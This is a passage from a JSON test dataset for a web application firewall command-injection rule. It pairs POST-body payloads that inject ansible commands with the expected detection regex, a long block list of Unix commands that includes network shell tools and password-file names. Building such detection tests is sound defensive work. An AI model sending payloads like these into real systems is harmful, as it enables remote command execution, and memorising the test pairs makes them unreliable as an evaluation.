:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?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\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block ad-hoc ansible commands" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-config dump\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y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\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block ansible config dump command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-galaxy collection install community.general\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c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0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\